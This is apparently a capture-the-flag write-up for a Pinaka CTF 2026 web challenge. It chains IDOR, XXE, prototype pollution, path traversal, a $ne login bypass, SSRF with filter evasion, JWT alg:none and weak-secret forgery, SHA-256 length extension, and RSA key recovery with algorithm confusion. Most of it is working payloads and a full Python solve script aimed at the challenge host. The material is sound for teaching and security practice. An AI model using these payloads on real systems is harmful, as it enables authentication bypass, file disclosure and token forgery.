Kakbhushundi: The 29th Universe
By Team Cryptonite · 3 min read
About the CTF: Pinaka CTF
Beating every level, decoding the token the game hands back, and the step that opened the 29th universe.
**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups
Solve:
- after beating the levels i was greeted with this screen

- here i got this text:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJicmFobWFuZCI6ImF5b2RoeWEiLCJkcmlzaHRpIjoibWFudXNoeWEiLCJpYXQiOjE3OTM1MDA4NjMzOTQsImp0aSI6IjhnMHFqYWV5aTZxIn0.EXw70CJza2nCtiLXyKw_EjEI0GSP5QDF1c8pzlV6x0L1bhwXp84dul0HBjWjW_HSlUSNLCifE6MO0XOMTlEw95TW9eNj5E54ThkoE8OAgXk1x4jwdARBqEb54BNTrJ5f4ew3h-_LYn7cjtZRkD2O4iE-U_inoCAbDwhyWl8iVXQ3UJBaMmqcQ9Ve3w7hmROkho80TyzQ0lKVAxVTKgpF0EJANmfPKboFLygEfGU3uW6lDUmTH7wAiPw0HGGsVWw36k364XLJO6r-4iQborg-83l-pwtmlgIGLUfR4rjpnm2QBvySJNHJ8pUvxUyy2cIV9xFAABG0Y4vXqgucmbjjmg
- which decoded into a jwt token
{"alg":"RS256","typ":"JWT"}{"brahmand":"ayodhya","drishti":"manushya","iat":1793500863394,"jti":"8g0qjaeyi6q"}
- And I was prompted with this:
1 Tataka /api/katha
The forest swallows, and the swallowed are not counted. Seek the one who is not on the list.
2 Subahu /api/homa
Offer the fire an oblation of your own naming, and it reads back even what the priests sealed away.
3 Maricha /api/maya
The court tests a vessel it trusts, not yours. Cast your illusion over every vessel at once.
4 Viradha /api/patra
He was not slain but buried - one level below the grove you are shown.
5 Khara /api/dwar
The gatekeeper's word is long and secret, but the gate compares loosely. Answer with a condition, not a word.
6 Kabandha /api/bhuja
His arm carries the temple's own seal wherever it reaches - but it will not name the inner sanctum aloud.
7 Akshayakumara /api/mudra
The gate asks the token how it wishes to be judged. Answer: by nothing at all.
8 Kumbhakarna /api/parvat
The mountain's key is a short and common word. Break it where none can watch, then forge.
9 Meghnad /api/kavach
The amulet binds its secret before your words and seals the whole. You are given a sealed pair and the secret's length.
10 Ravana /api/flag
Darshan is signed, and the public half is hidden - yet two signatures betray it. Then let a key forget its own nature.
Final gate: Only the drishti of kakbhushundi, gazing upon swarna-lanka where Dashanan falls, and bearing all 9 khandas, may read the sealed word.
- now this became a web challenge :(
- these are the endpoints we had:
- /api/universe -> shrine map and final gate requirements
- /api/katha -> Tataka, hidden pilgrim IDOR
- /api/homa -> Subahu, XML oblation
- /api/maya -> Maricha, JSON vessel merge
- /api/patra -> Viradha, scroll reader
- /api/dwar -> Khara, gate roster
- /api/bhuja -> Kabandha, URL fetcher
- /api/mudra -> Akshayakumara, JWT gate
- /api/parvat -> Kumbhakarna, JWT gate
- /api/kavach -> Meghnad, MAC-protected message
- /api/darshan -> returns an RS256-signed darshan JWT
- /api/garbha -> hidden inner sanctum, requires X-Antar-Yatra header
- /api/flag -> final gate, accepts {token, khandas}
/api/universeshowed the gate requiresbrahmand = "swarna-lanka",drishti = "kakbhushundi", and all 9 khandas.- khanda 1 (
/api/katha): the list showed pilgrims1..10, but the swallowed one isid=0:
- GET /api/katha?id=0 -> 9dd32532e232
- khanda 2 (
/api/homa): XXE in the XML oblation:
- <!DOCTYPE yagna [<!ENTITY xxe SYSTEM "file:///agni-khanda.scroll">]><yagna><oblation>&xxe;</oblation></yagna>
- POST /api/homa with Content-Type: application/xml -> 2a486756ef52
- khanda 3 (
/api/maya): prototype pollution:
- POST /api/maya with {"_proto_":{"darshan":"rishi"}} -> 2aa95abc0363
- khanda 4 (
/api/patra): path traversal. The visible grove isscrolls/publicwithdandaka.scrollandviradha.scroll; one level up isscrolls/, which has asealed/directory. The khanda file follows the same elemental naming asagni-khanda.scroll, so Viradha's earth-themed file isprithvi-khanda.scroll:
- GET /api/patra?scroll=../sealed/prithvi-khanda.scroll (URL-encoded: ..%2Fsealed%2Fprithvi-khanda.scroll) -> 89555a4458ab
- khanda 5 (
/api/dwar): loose comparison / type juggling. The gate only validates the name, and the passphrase check is bypassed with a condition object:
- POST /api/dwar with {"naam":"dwarpal","mudra":{"$ne":null}} -> eb072559af0c
- (Omitting mudra entirely also passed during testing.)
- khanda 6 (
/api/bhuja): SSRF plus a hidden route. Pointingreachathttps://httpbin.org/headersleaked the temple headerX-Antar-Yatra: antar-yatra-1548d6d432. The inner sanctum is/api/garbha, but the arm refuses to fetch a URL containing the literal wordgarbha, so percent-encode theg:
- GET /api/bhuja?reach=https://<api-host>/api/%67arbha -> body.khanda = 1fc356c2c1ef
- khanda 7 (
/api/mudra): JWTalg:none. Forge:
- header {"alg":"none","typ":"JWT"}, payload {"rank":"senapati"}, empty signature
- POST /api/mudra with {"token":"..."} -> cc143a62233e
- khanda 8 (
/api/parvat): HS256 with a weak secret. The hint "five-letter island" giveslanka. Verify the issued token's HMAC withlanka, then forge:
- payload {"rank":"deva","woke":true}
- POST /api/parvat -> c5655016d2f2
- khanda 9 (
/api/kavach): SHA-256 length extension. The amulet computesSHA256(secret || message)with a 15-byte secret:
- known message: bhakt=kush&rank=manushya
- append &rank=trikaldarshi with the SHA-256 padding for 15 + len(message) bytes, continue the hash state from the known digest, submit the new base64 message and MAC
- POST /api/kavach -> 475b91ac0d1a
- The final gate is an RS256 public-key recovery + algorithm-confusion attack:
- i had to doGET /api/darshan twice to get two RS256 tokens under the same key.
- for each token, i computed the PKCS#1 v1.5 encoded digest m_i = 00 01 FF... 00 || DigestInfo(SHA256(header.payload)) padded to 256 bytes.
- then i recovered the modulus n = gcd(s1^65537 - m1, s2^65537 - m2). The result is a 2048-bit RSA modulus.
- build the RSA public key (n, 65537) and export it as a SubjectPublicKeyInfo PEM.
- the verifier trusts the token's alg and accepts HS256 while using the PEM public key as the HMAC secret. Forge an HS256 token with claims copied from a real darshan plus brahmand = "swarna-lanka", drishti = "kakbhushundi".
- POST /api/flag with the forged token and all nine khandas.
- Script:
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import sys
from pathlib import Path
import gmpy2
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
sys.path.insert(0, str(Path(__file__).parent))
import hlextend
BASE = "https://kush-astra-yuddha.vercel.app/api/"
S = requests.Session()
def b64(data):
return base64.urlsafe_b64encode(data).decode().rstrip("=")
def unb64(data):
return base64.urlsafe_b64decode(data + "=" * (-len(data) % 4))
def get(path, **kwargs):
r = S.get(BASE + path, timeout=15, **kwargs)
r.raise_for_status()
return r.json()
def post(path, **kwargs):
r = S.post(BASE + path, timeout=15, **kwargs)
r.raise_for_status()
return r.json()
def rsa_public_key():
differences = []
for _ in range(2):
header, payload, signature = get("darshan")["token"].split(".")
sig = unb64(signature)
digest = hashlib.sha256((header + "." + payload).encode()).digest()
digest_info = bytes.fromhex("3031300d060960864801650304020105000420") + digest
encoded = (
b"\x00\x01"
+ b"\xff" * (len(sig) - len(digest_info) - 3)
+ b"\x00"
+ digest_info
)
differences.append(
gmpy2.mpz(int.from_bytes(sig, "big")) ** 65537
- int.from_bytes(encoded, "big")
)
n = int(gmpy2.gcd(*differences))
assert n.bit_length() == 2048, "Unexpected modulus; retry with fresh darshans"
return rsa.RSAPublicNumbers(65537, n).public_key()
def main():
khandas = [None] * 9
khandas[0] = get("katha", params={"id": 0})["khanda"]
xml = (
'<!DOCTYPE yagna [<!ENTITY xxe SYSTEM "file:///agni-khanda.scroll">]>'
"<yagna><oblation>&xxe;</oblation></yagna>"
)
khandas[1] = post(
"homa", data=xml, headers={"Content-Type": "application/xml"}
)["consumed"]
khandas[2] = post("maya", json={"__proto__": {"darshan": "rishi"}})["khanda"]
khandas[3] = get(
"patra", params={"scroll": "../sealed/prithvi-khanda.scroll"}
)["khanda"]
khandas[4] = post(
"dwar", json={"naam": "dwarpal", "mudra": {"$ne": None}}
)["khanda"]
reach = "https://kush-astra-yuddha.vercel.app/api/%67arbha"
khandas[5] = get("bhuja", params={"reach": reach})["body"]["khanda"]
unsigned = (
b64(b'{"alg":"none","typ":"JWT"}')
+ "."
+ b64(b'{"rank":"senapati"}')
+ "."
)
khandas[6] = post("mudra", json={"token": unsigned})["khanda"]
header, payload, signature = get("parvat")["token"].split(".")
assert (
b64(hmac.new(b"lanka", (header + "." + payload).encode(), hashlib.sha256).digest())
== signature
)
body = b64(b'{"rank":"deva","woke":true}')
signing_input = header + "." + body
forged = (
signing_input
+ "."
+ b64(hmac.new(b"lanka", signing_input.encode(), hashlib.sha256).digest())
)
khandas[7] = post("parvat", json={"token": forged})["khanda"]
amulet = get("kavach")
sha = hlextend.new("sha256")
extended = sha.extend(
b"&rank=trikaldarshi",
unb64(amulet["message_b64"]),
amulet["keyLength"],
amulet["mac"],
)
khandas[8] = post(
"kavach",
json={
"message_b64": base64.b64encode(extended).decode(),
"mac": sha.hexdigest(),
},
)["khanda"]
public_key = rsa_public_key()
pem = public_key.public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo,
)
original = get("darshan")["token"]
claims = json.loads(unb64(original.split(".")[1]))
claims.update(brahmand="swarna-lanka", drishti="kakbhushundi")
header = b64(b'{"alg":"HS256","typ":"JWT"}')
payload = b64(json.dumps(claims, separators=(",", ":")).encode())
signing_input = header + "." + payload
token = (
signing_input
+ "."
+ b64(hmac.new(pem, signing_input.encode(), hashlib.sha256).digest())
)
result = post("flag", json={"token": token, "khandas": khandas})
print(result["flag"])
if __name__ == "__main__":
main()
- Output:

Flag:
Flag{KushDashavidhaNullOrigin_a64054596f782239}